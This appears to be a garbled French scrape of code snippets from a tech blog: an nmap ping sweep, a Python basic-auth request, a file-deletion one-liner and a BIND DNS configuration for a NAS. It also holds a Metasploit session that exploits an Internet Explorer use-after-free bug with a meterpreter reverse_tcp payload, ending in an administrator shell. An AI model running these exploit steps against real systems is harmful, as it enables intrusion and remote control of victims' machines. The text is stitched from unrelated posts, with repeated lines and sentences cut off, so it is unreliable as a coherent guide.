$ nmap -v -sn 192.168.1.0/24 | grep down | awk '{print $5}'
ça retourne quelque-chose semblable à ça :
192.168.1.2 192.168.1.3 192.168.1.5 ...
$ nmap -v -sn 192.168.1.0/24 | grep down | awk '{print $5}'
192.168.1.2 192.168.1.3 192.168.1.5 ...
msf > use exploit/windows/browser/ie_execcommand_uaf
msf exploit(ie_execcommand_uaf) > set SRVHOST 192.168.0.198 SRVHOST => 192.168.0.198
msf exploit(ie_execcommand_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ie_execcommand_uaf) > set LHOST 192.168.0.198 LHOST => 192.168.0.198
msf exploit(ie_execcommand_uaf) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.0.198:4444 [*] Using URL: http://192.168.0.198:8080/mYMNRKKhd [*] Server started.
[*] Sending stage (752128 bytes) to 192.168.0.198 [*] Meterpreter session 1 opened (192.168.0.198:4444 -> 192.168.0.198:32994) at 2012-09-20 20:52:12 +0200 [*] Session ID 1 (192.168.0.198:4444 -> 192.168.0.198:32994) processing InitialAutoRunScript 'migrate -f' [*] Current server process: iexplore.exe (2312) [*] Spawning notepad.exe process to migrate to [+] Migrating to 3232 [+] Successfully migrated to process
msf exploit(ie_execcommand_uaf) > sessions -i 1 [*] Starting interaction with 1...
meterpreter > shell Process 2740 created. Channel 1 created. Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\Administrator\Desktop>
import urllib2, base64 username = "myUsername" password = "myPassword" request = urllib2.Request("http://google.com/") stringb64 = base64.encodestring(username+":"+password) request.add_header("Authorization", "Basic "+stringb64) result = urllib2.urlopen(request) result.info() # Affiche la réponse du serveur result.read() # Affiche le contenu renvoyéNotez que les champs contenus dans username et password sont passés en clair, il n'y a aucun cryptage si vous n'utilisez pas de HTTPS. Plus d'info : http://docs.python.org/library/urllib2.html
$ <command>$(ls * | grep -v '<fichier_a_exclure_1>\|<fichier_a_exclure_2>')</fichier_a_exclure_2></fichier_a_exclure_1>
$ rm -f $(ls * | grep -v 'info.txt\|hello.png')
/opt/sbin/rndc-confgen -a(elle sera automatiquement mise dans le bon dossier)
### OPTIONS ### options { auth-nxdomain no; # Conforme à la RFC1035 forwarders { 8.8.8.8; }; # Forward sur les DNS de Google si il ne trouve pas listen-on port 53 { 127.0.0.1; 192.168.0.2; }; # ou 192.168.0.2 est l'adresse de votre interface "externe". listen-on-v6 { none; }; allow-recursion { 127.0.0.1; 192.168.0.0/24; }; allow-transfer { 127.0.0.1; }; notify no; }; ### ZONE ### zone "domaine.com" IN { # Remplacez domaine.com par le domaine qu'on souhaite type master; file "zone/db.domaine.com"; # Pareil }; zone "0.168.192.in-addr.arpa" { type master; file "zone/db.0.168.192"; };Pour les zones, j'ai crée deux zones pour un seul domaine :
ping serveur.domaine.com PING serveur.domaine.com (192.168.0.3) 56(84) bytes of data.Avec la deuxième, c'est l'inverse qui se produit (d'ou son nom, m'voyez) :
nslookup 192.168.0.3 (...) 3.0.168.192.in-addr.arpa name = serveur.domaine.com.Donc pour chaque zone, il faut lui spécifier un nom de fichier qui contiendra plein d'infos et de configs...
$TTL 1D domaine.com. IN SOA serveur root.serveur.domaine.com. ( 2007111301 ; serial 1D ; refresh 1H ; retry 1D ; expire 1D ) ; minimum IN NS serveur IN MX 10 serveur ; domain to IP mappings nas IN A 192.168.0.3et dans db.0.168.192 :
$TTL 1D 0.168.192.in-addr.arpa. IN SOA domaine.com. root.serveur.domaine.com. ( 2007111301 ; serial 1D ; refresh 1H ; retry 1D ; expire 1D ) ; minimum IN NS serveur.domaine.com. ; IP to domain mappings 1 IN PTR serveur.domaine.com.Okay, les configs sont normalement terminées (je n'ai pas envie de m'attarder sur les détails techniques de ces configs, pour plus d'info : Installation d'un serveur DNS).
/opt/sbin/named-checkconf /opt/etc/named.confIls vous retournera les erreurs si il y en a. ne reste plus qu'à lancer le service Bind (oui, vous noterez le nom wtf) :
/opt/etc/init.d/S09named startà ce stade, votre serveur DNS est actif et fonctionnel (sinon ben relisez plus haut). Néanmoins, le routeur push toujours sa propre adresse DNS. Sur mon routeur, j'ai pu remedier à ce problème en désactivant l'options suivante :
domain mydomain nameserver 192.168.0.2 nameserver 8.8.8.8Enfin, plus qu'à tester :
ping serveur.domaine.comPour le côté théorique, ça ressemble à ça (en version pas mal simplifiée) :
less <fichier de log> | sort -k 2,2n -k 3